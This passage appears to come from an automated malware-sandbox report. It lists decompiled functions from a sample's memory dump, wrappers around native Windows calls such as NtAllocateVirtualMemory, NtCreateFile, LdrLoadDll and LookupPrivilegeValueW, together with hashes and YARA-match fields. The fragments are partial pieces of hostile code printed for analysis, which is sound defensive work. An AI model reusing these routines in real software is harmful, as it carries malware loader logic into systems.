				struct _OBJDIR_INFORMATION _v16;
				char _v536;
				void* _t15;
				struct _OBJDIR_INFORMATION _t17;
				struct _OBJDIR_INFORMATION _t18;
				void* _t31;
				void* _t32;
				void* _t33;

				_v8 =  &_v536;
				_t15 = E0041AB50( &_v12, 0x104, _a8);
				_t32 = _t31 + 0xc;
				if(_t15 != 0) {
					_t17 = E0041AF70(__eflags, _v8);
					_t33 = _t32 + 4;
					__eflags = _t17;
					if(_t17 != 0) {
						E0041B1F0(__ebx,  &_v12, 0);
						_t33 = _t33 + 8;
					}
					_t18 = E00419300(_v8);
					_v16 = _t18;
					__eflags = _t18;
					if(_t18 == 0) {
						LdrLoadDll(0, 0,  &_v12,  &_v16); // executed
						return _v16;
					}
					return _t18;
				} else {
					return _t15;
				}
			}

0x00409b3c
0x00409b3f
0x00409b44
0x00409b49
0x00409b53
0x00409b58
0x00409b5b
0x00409b5d
0x00409b65
0x00409b6a
0x00409b6a
0x00409b71
0x00409b79
0x00409b7c
0x00409b7e
0x00409b92
0x00000000
0x00409b94
0x00409b9a
0x00409b4e
0x00409b4e
0x00409b4e

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 00409B92

Memory Dump Source

Source File: 00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction ID: f6872c6640a97d379917802917a35d8835196bd2b620e753e6f67e56f73dccdd
Opcode Fuzzy Hash: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction Fuzzy Hash: EC0100B5D0010DBBDB10DAA5EC42FDEB778AB54318F0041A9A908A7281F635EA54C795

Uniqueness

Uniqueness Score: -1.00%

Function 004181C0, Relevance: 1.5, APIs: 1, Instructions: 40
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004181C0(intOrPtr _a4, HANDLE* _a8, long _a12, struct _EXCEPTION_RECORD _a16, struct _ERESOURCE_LITE _a20, struct _GUID _a24, long _a28, long _a32, long _a36, long _a40, void* _a44, long _a48) {
				long _t21;
				void* _t31;

				_t3 = _a4 + 0xc40; // 0xc40
				E00418DC0(_t31, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x28);
				_t21 = NtCreateFile(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48); // executed
				return _t21;
			}

0x004181cf
0x004181d7
0x0041820d
0x00418211

APIs

NtCreateFile.NTDLL(00000060,00408AF3,?,00413B97,00408AF3,FFFFFFFF,?,?,FFFFFFFF,00408AF3,00413B97,?,00408AF3,00000060,00000000,00000000), ref: 0041820D

Memory Dump Source

Source File: 00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction ID: 76db84dd9462a71377061bd321799a59568980bd09e0245c51acac76316ecf65
Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction Fuzzy Hash: 52F0B6B2200208ABCB08CF89DC85DEB77ADAF8C754F158248FA0D97241C630E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 004182EB, Relevance: 1.5, APIs: 1, Instructions: 36
nativeCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E004182EB(signed int __eax, void* _a4, void* _a8, void* _a12, void* _a16, void* _a20) {
				signed char _t9;

				_t9 = __eax ^ 0x00000038;
				asm("repne pop edi");
				if (_t9 != 0) goto L3;
			}

0x004182eb
0x004182ed
0x004182ef

APIs

NtClose.NTDLL(00413D30,?,?,00413D30,00408AF3,FFFFFFFF), ref: 00418315

Memory Dump Source

Source File: 00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: c7d55205d390a1fbb48be9d72d04b0d524ad03a9fb2d4c7636efdd63316d93a0
Instruction ID: 4897819222ab6a984e5e8b96ae378096f80a7c8677670ba121954032c114abd5
Opcode Fuzzy Hash: c7d55205d390a1fbb48be9d72d04b0d524ad03a9fb2d4c7636efdd63316d93a0
Instruction Fuzzy Hash: 9DF08276200214BBDB10EFD8DC80EEB73ADEF88320F14855DFA5C9B241D630E95187A0

Uniqueness

Uniqueness Score: -1.00%

Function 004183A0, Relevance: 1.5, APIs: 1, Instructions: 30
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004183A0(intOrPtr _a4, void* _a8, PVOID* _a12, long _a16, long* _a20, long _a24, long _a28) {
				long _t14;
				void* _t21;

				_t3 = _a4 + 0xc60; // 0xca0
				E00418DC0(_t21, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x30);
				_t14 = NtAllocateVirtualMemory(_a8, _a12, _a16, _a20, _a24, _a28); // executed
				return _t14;
			}

0x004183af
0x004183b7
0x004183d9
0x004183dd

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,00418F94,?,00000000,?,00003000,00000040,00000000,00000000,00408AF3), ref: 004183D9

Memory Dump Source

Source File: 00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction ID: ed05b43336be2385218ce2c210938f1a749d46cd8ec257da0df7421e0e4bafff
Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction Fuzzy Hash: BCF015B2200208ABCB14DF89DC81EEB77ADAF88754F118549FE0897241CA30F810CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041839D, Relevance: 1.5, APIs: 1, Instructions: 29
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041839D(void* __edi, intOrPtr _a4, void* _a8, PVOID* _a12, long _a16, long* _a20, long _a24, long _a28) {
				long _t16;

				_t12 = _a4;
				_t4 = _t12 + 0xc60; // 0xca0
				E00418DC0(__edi, _a4, _t4,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x30);
				_t16 = NtAllocateVirtualMemory(_a8, _a12, _a16, _a20, _a24, _a28); // executed
				return _t16;
			}

0x004183a3
0x004183af
0x004183b7
0x004183d9
0x004183dd

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,00418F94,?,00000000,?,00003000,00000040,00000000,00000000,00408AF3), ref: 004183D9

Memory Dump Source

Source File: 00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 8e3aef5553da45911c62e2adf873b66b0d7d83af7eca465c13d561571c123763
Instruction ID: 33a0b5ba4fbfee08120bbfc0f43b3938cbc9df30af94aa50dc3a25e051168a8d
Opcode Fuzzy Hash: 8e3aef5553da45911c62e2adf873b66b0d7d83af7eca465c13d561571c123763
Instruction Fuzzy Hash: E4F015B6200208AFDB14DF89DC81EEB77A9AF88354F158649FE1897281C630E811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 004182F0, Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(00413D30,?,?,00413D30,00408AF3,FFFFFFFF), ref: 00418315

Memory Dump Source

Source File: 00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction ID: fa02b1b0b4c248d7afc65a810b6911db7169f724aa7cfa6c67706bd771296af7
Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction Fuzzy Hash: F5D01776200314ABD710EF99DC85EE77BACEF48760F154499BA189B282CA30FA0086E0

Uniqueness

Uniqueness Score: -1.00%

Function 00C298F0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C298FA

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e71484a11dfe017974fc69e144a0d0c6d11f4940a61fad92790e489654fef0d1
Instruction ID: d12984d1f178512cbba70771ba77223481fbc6bab865cefcb134404df0f1f837
Opcode Fuzzy Hash: e71484a11dfe017974fc69e144a0d0c6d11f4940a61fad92790e489654fef0d1
Instruction Fuzzy Hash: 549002A162100602D60171596404616010A97D0382FA1D032A1024555ECA6589A2F171

Uniqueness

Uniqueness Score: -1.00%

Function 00C29840, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C2984A

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0817085d781d2e05ad367075ed978a984a16577f6ddd2b86cd3528cee871a78b
Instruction ID: 335214df4d5b41456217b03f8535f74051f87f063c6e0bcd80a3a0db2f5478ee
Opcode Fuzzy Hash: 0817085d781d2e05ad367075ed978a984a16577f6ddd2b86cd3528cee871a78b
Instruction Fuzzy Hash: 0F9002A1262042525A45B15964045074106A7E0382BA1D022A1414950C85669866E661

Uniqueness

Uniqueness Score: -1.00%

Function 00C29860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C2986A

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7001ba38825500b9d33a44d3e4e3cd78640de42d83b3797de7059699bf384c15
Instruction ID: 9a3c58faf831501713a7faac86d6f7203fe7570b4759844caf6d2bb869c5526b
Opcode Fuzzy Hash: 7001ba38825500b9d33a44d3e4e3cd78640de42d83b3797de7059699bf384c15
Instruction Fuzzy Hash: 2F9002B122100513D61161596504707010997D0382FA1D422A0424558D96968962F161

Uniqueness

Uniqueness Score: -1.00%

Function 00C299A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C299AA

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6f5f82946adf09f22b69090f25e8795fcf5c11cd4b42d0197f6224135522f505
Instruction ID: e4f029cec82d6a86c65a8120fe88f39695796ba7c84026680bd3696dca816ed5
Opcode Fuzzy Hash: 6f5f82946adf09f22b69090f25e8795fcf5c11cd4b42d0197f6224135522f505
Instruction Fuzzy Hash: D69002E136100542D60061596414B060105D7E1342F61D025E1064554D8659CC62B166

Uniqueness

Uniqueness Score: -1.00%

Function 00C29910, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C2991A

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9c533a14d57357a33fbe53b705d508a269f1b8ea95e4c19ae081b33ba3abff7d
Instruction ID: 23b99a5d76061c61115c10ff5841c7415cc9d17ae5d7e6029e117488f08cb040
Opcode Fuzzy Hash: 9c533a14d57357a33fbe53b705d508a269f1b8ea95e4c19ae081b33ba3abff7d
Instruction Fuzzy Hash: BA9002F122100502D64071596404746010597D0342F61D021A5064554E86998DE5B6A5

Uniqueness

Uniqueness Score: -1.00%

Function 00C29A50, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C29A5A

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0406f766fc4d4c5098ed796d8da25b7152bea9ce20bf0a3ffdfb0ae6d6a2ed2e
Instruction ID: 353db2684c5f20af564f5aec65a6ab38479d96a5e9e524f5d5cd4c149451af3b
Opcode Fuzzy Hash: 0406f766fc4d4c5098ed796d8da25b7152bea9ce20bf0a3ffdfb0ae6d6a2ed2e
Instruction Fuzzy Hash: 2F9002A123180142D70065696C14B07010597D0343F61D125A0154554CC9558871A561

Uniqueness

Uniqueness Score: -1.00%

Function 00C29A00, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C29A0A

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a6e9c134469b95ffd6d142d733e5d62a83223da1514dd945f9349d30654b2e9a
Instruction ID: 9114985aa24bc681b554867fad4534ad4cf40590a2d8a7cadb36ab33af524329
Opcode Fuzzy Hash: a6e9c134469b95ffd6d142d733e5d62a83223da1514dd945f9349d30654b2e9a
Instruction Fuzzy Hash: 6D9002B122140502D6006159681470B010597D0343F61D021A1164555D86658861B5B1

Uniqueness

Uniqueness Score: -1.00%

Function 00C29A20, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C29A2A

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9b350cd5f63288e978b8cb1ac245a28b68941da542df55121c20eff327c7b361
Instruction ID: 37d6741e778b67e525e258f509735cd24962c2f38a4d19d9cb5e1351e800ad28
Opcode Fuzzy Hash: 9b350cd5f63288e978b8cb1ac245a28b68941da542df55121c20eff327c7b361
Instruction Fuzzy Hash: 219002A16210014246407169A8449064105BBE1352B61D131A0998550D85998875A6A5

Uniqueness

Uniqueness Score: -1.00%

Function 00C295D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C295DA

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b831c5b35d8ef2bb439e0de0724ca3431d5fd57bfbabbbf130ded90d525e2917
Instruction ID: d63502936edb218a4910c52bed4b2ce5ee4ac5441caaf1539836562c0d2840eb
Opcode Fuzzy Hash: b831c5b35d8ef2bb439e0de0724ca3431d5fd57bfbabbbf130ded90d525e2917
Instruction Fuzzy Hash: 089002E122200103460571596414616410A97E0342F61D031E1014590DC56588A1B165

Uniqueness

Uniqueness Score: -1.00%

Function 00C29540, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C2954A

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f4cc4ea42f04127c70e04a5ada7a5076231243e9972f10cbc26aa647a0ad6b94
Instruction ID: 1873bbc5dcde0ee127bee4422d8bcf8025d61d33931aac1c51d680620f50be9b
Opcode Fuzzy Hash: f4cc4ea42f04127c70e04a5ada7a5076231243e9972f10cbc26aa647a0ad6b94
Instruction Fuzzy Hash: AB9002A5231001030605A5592704507014697D5392761D031F1015550CD6618871A161

Uniqueness

Uniqueness Score: -1.00%

Function 00C296E0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C296EA

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d79c2ae86764de82117a4ef9a569a22fe7aa38f112d47a0f13ac5e2438cd8c21
Instruction ID: 06d6e714a2f0dbb4eb5a8526b0483c5562b3a55c6497e6c389d6d846a350f0d0
Opcode Fuzzy Hash: d79c2ae86764de82117a4ef9a569a22fe7aa38f112d47a0f13ac5e2438cd8c21
Instruction Fuzzy Hash: C29002B122108902D6106159A40474A010597D0342F65D421A4424658D86D588A1B161

Uniqueness

Uniqueness Score: -1.00%

Function 00C29660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C2966A

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d6363e76ca408630fcb76138f9ac141f1f6d65bbf8df22108fc1deddab768825
Instruction ID: 1fe9aad4998b0cdf3efb747b868e61de304b009c8d2e6f97425621f0c72b9746
Opcode Fuzzy Hash: d6363e76ca408630fcb76138f9ac141f1f6d65bbf8df22108fc1deddab768825
Instruction Fuzzy Hash: 9F9002B122100902D6807159640464A010597D1342FA1D025A0025654DCA558A69B7E1

Uniqueness

Uniqueness Score: -1.00%

Function 00C29FE0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C29FEA

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9c0404a3354994e8f09d15d0f5fd064eb5b7306acaf17acf6a6dd94438a447ca
Instruction ID: 04f172d37548dfdb5678d9c9469622f095682201ad3e74545681784be15d5740
Opcode Fuzzy Hash: 9c0404a3354994e8f09d15d0f5fd064eb5b7306acaf17acf6a6dd94438a447ca
Instruction Fuzzy Hash: CF9002B133114502D6106159A404706010597D1342F61D421A0824558D86D588A1B162

Uniqueness

Uniqueness Score: -1.00%

Function 00C29780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C2978A

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ccdcd734a3cccac4d1baf3e172f03c694fa2d2b9708145ad5fb67f2ff7ef8bbf
Instruction ID: 79e8d9f5ccc4c20ce49d8cd6860ebb09924dcad1c3b7c357dd4ef679aa9cbfab
Opcode Fuzzy Hash: ccdcd734a3cccac4d1baf3e172f03c694fa2d2b9708145ad5fb67f2ff7ef8bbf
Instruction Fuzzy Hash: CC9002A923300102D6807159740860A010597D1343FA1E425A0015558CC9558879A361

Uniqueness

Uniqueness Score: -1.00%

Function 00C297A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C297AA

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f75ab0ea38b7ec2ece2033adfb09fa27f0dc58d5e8cbd9983349ac153b2b2c78
Instruction ID: 76a2fe996da77439df4b621c199f95d73d26ed08d99ab121d1585fe96718ed4b
Opcode Fuzzy Hash: f75ab0ea38b7ec2ece2033adfb09fa27f0dc58d5e8cbd9983349ac153b2b2c78
Instruction Fuzzy Hash: 0A9002A132100103D640715974186064105E7E1342F61E021E0414554CD9558866A262

Uniqueness

Uniqueness Score: -1.00%

Function 00C29710, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C2971A

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: df4da7590279d9b1ea9e6dae23dbf6c6e4cbd652bd16a1c13a4b2c3b078c4170
Instruction ID: 46bef9d59f4d37452178e888d57326a6ea4e2d066a6f5e773087eee242f0fb79
Opcode Fuzzy Hash: df4da7590279d9b1ea9e6dae23dbf6c6e4cbd652bd16a1c13a4b2c3b078c4170
Instruction Fuzzy Hash: C19002B122100502D60065997408646010597E0342F61E021A5024555EC6A588A1B171

Uniqueness

Uniqueness Score: -1.00%

Function 004088B0, Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67bb4e2207c22d687f6acc024d55c7e0c161e5d4599185de851a30ee67947c6b
Instruction ID: aa626ceb7ef0a3bcdbf1efb1d9dc2f5a7bb3811b4857f0e914c6161f28eec10c
Opcode Fuzzy Hash: 67bb4e2207c22d687f6acc024d55c7e0c161e5d4599185de851a30ee67947c6b
Instruction Fuzzy Hash: FE213AB3D402085BDB10E6649D42BFF73AC9B50304F44057FF989A3182F638BB4987A6

Uniqueness

Uniqueness Score: -1.00%

Function 004185D6, Relevance: 1.6, APIs: 1, Instructions: 74COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040CFA2,0040CFA2,00000041,00000000,?,00408B65), ref: 00418660

Memory Dump Source

Source File: 00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 8139a7ff252905a8e4eaea2f756dc772d2380b88e40bdef1e3070680d3814c49
Instruction ID: 9198f92ec978cf86d44f1621e0a9620de1d138a3d8fef94b2ae41f73174d4eb7
Opcode Fuzzy Hash: 8139a7ff252905a8e4eaea2f756dc772d2380b88e40bdef1e3070680d3814c49
Instruction Fuzzy Hash: CE1129B5204208ABCB14DF99DC81EEB77A9EF88750F14865DFE4D97241CA34E8518BB4

Uniqueness

Uniqueness Score: -1.00%

Function 00407260, Relevance: 1.6, APIs: 1, Instructions: 55
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00407260(void* __eflags, intOrPtr _a4, long _a8) {
				char _v67;
				char _v68;
				void* _t12;
				intOrPtr* _t13;
				int _t14;
				long _t21;
				intOrPtr* _t25;
				void* _t26;
				void* _t30;

				_t30 = __eflags;
				_v68 = 0;
				L00419D20( &_v67, 0, 0x3f);
				E0041A900( &_v68, 3);
				_t12 = E00409B20(_t30, _a4 + 0x1c,  &_v68); // executed
				_t13 = L00413E30(_a4 + 0x1c, _t12, 0, 0, 0xc4e7b6d6);
				_t25 = _t13;
				if(_t25 != 0) {
					_t21 = _a8;
					_t14 = PostThreadMessageW(_t21, 0x111, 0, 0); // executed
					_t32 = _t14;
					if(_t14 == 0) {
						_t14 =  *_t25(_t21, 0x8003, _t26 + (E00409280(_t32, 1, 8) & 0x000000ff) - 0x40, _t14);
					}
					return _t14;
				}
				return _t13;
			}

0x00407260
0x0040726f
0x00407273
0x0040727e
0x0040728e
0x0040729e
0x004072a3
0x004072aa
0x004072ad
0x004072ba
0x004072bc
0x004072be
0x004072db
0x004072db
0x00000000
0x004072dd
0x004072e2

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 004072BA

Memory Dump Source

Source File: 00000001.00000001.652339293.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 2611248cf2981be21f72ca7afad4f10f88413beaa9ea5ad5021ab45b4f53d4d7
Instruction ID: bbcd0b2e5740072d15388175686a93538b06234ac68ffc2b081785cbfc84dfa6
Opcode Fuzzy Hash: 2611248cf2981be21f72ca7afad4f10f88413beaa9ea5ad5021ab45b4f53d4d7
Instruction Fuzzy Hash: 2B01D431A8022876E720A6959C03FFF772C9B00B54F05405EFF04BA1C2E6A87D0682EA

Uniqueness

Uniqueness Score: -1.00%

Function 00418457, Relevance: 1.5, APIs: 1, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00413516,?,00413C8F,00413C8F,?,00413516,?,?,?,?,?,00000000,00408AF3,?), ref: 004184BD

Memory Dump Source

Source File: 00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ef01e4c2fcd8cc2be3dfdfc9b922cc0711b0fc3a363d89f3de3e74149d4afa6a
Instruction ID: affc205b174bfb2e41cf0332fd4788673a921b47490d9ed7267cf9334570296e
Opcode Fuzzy Hash: ef01e4c2fcd8cc2be3dfdfc9b922cc0711b0fc3a363d89f3de3e74149d4afa6a
Instruction Fuzzy Hash: 8BF0AFB52042006FD724DF64DC81EE77769EF94314B15854EF84847382DA31E911CAA0

Uniqueness

Uniqueness Score: -1.00%

Function 004186A1, Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040CFA2,0040CFA2,00000041,00000000,?,00408B65), ref: 00418660

Memory Dump Source

Source File: 00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 26c423ce74e741da976754231809a6c97852f1c09739e11ad06cc8033b650e05
Instruction ID: d316ec5e856bc905f35c0f9ac385d844d75feb423c13bb6b073b38de686d282d
Opcode Fuzzy Hash: 26c423ce74e741da976754231809a6c97852f1c09739e11ad06cc8033b650e05
Instruction Fuzzy Hash: 3CF09076214304ABCB10EF69D885CEB7BA8EF84354B01854EF85C47203CA75E91687A0

Uniqueness

Uniqueness Score: -1.00%

Function 004184C2, Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E004184C2(void* __edx, intOrPtr _a4, void* _a8, long _a12, void* _a16) {
				void* _v117;
				void* _v1865171500;
				char _t14;
				void* _t21;

				asm("cmc");
				asm("a16 cld");
				_t11 = _a4;
				_t5 = _t11 + 0xc74; // 0xc74
				E00418DC0(_t21, _a4, _t5,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x35);
				_t14 = RtlFreeHeap(_a8, _a12, _a16); // executed
				return _t14;
			}

0x004184c2
0x004184c3
0x004184d3
0x004184df
0x004184e7
0x004184fd
0x00418501

APIs

RtlFreeHeap.NTDLL(00000060,00408AF3,?,?,00408AF3,00000060,00000000,00000000,?,?,00408AF3,?,00000000), ref: 004184FD

Memory Dump Source

Source File: 00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: fce27294d00babc08665f5dc1589cd838e77be0b809c1b8f22c33d0a41db8b69
Instruction ID: 016757871944d6aedc05f4ec0809e27f93b1f516679b64d404abb761913be94f
Opcode Fuzzy Hash: fce27294d00babc08665f5dc1589cd838e77be0b809c1b8f22c33d0a41db8b69
Instruction Fuzzy Hash: 02E06DB16002046BDB24DF65DC46EEB7B68EF98390F118588FD589B251C631E911CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00418621, Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040CFA2,0040CFA2,00000041,00000000,?,00408B65), ref: 00418660

Memory Dump Source

Source File: 00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 5ccf0de362d63baa40f4b5284173a6b7b2fa494a481a62f9ef6f848a579856a4
Instruction ID: 5e4e3d53776d75ed860a76d47da3be09a2eb080ee8ce7ea7157c921c898b4550
Opcode Fuzzy Hash: 5ccf0de362d63baa40f4b5284173a6b7b2fa494a481a62f9ef6f848a579856a4
Instruction Fuzzy Hash: 72E0EDB1200204AFDB20DF55DC44FE737A9AF85320F048289FD0D5B281CA31E9428BA0

Uniqueness

Uniqueness Score: -1.00%

Function 004184D0, Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004184D0(intOrPtr _a4, void* _a8, long _a12, void* _a16) {
				char _t10;
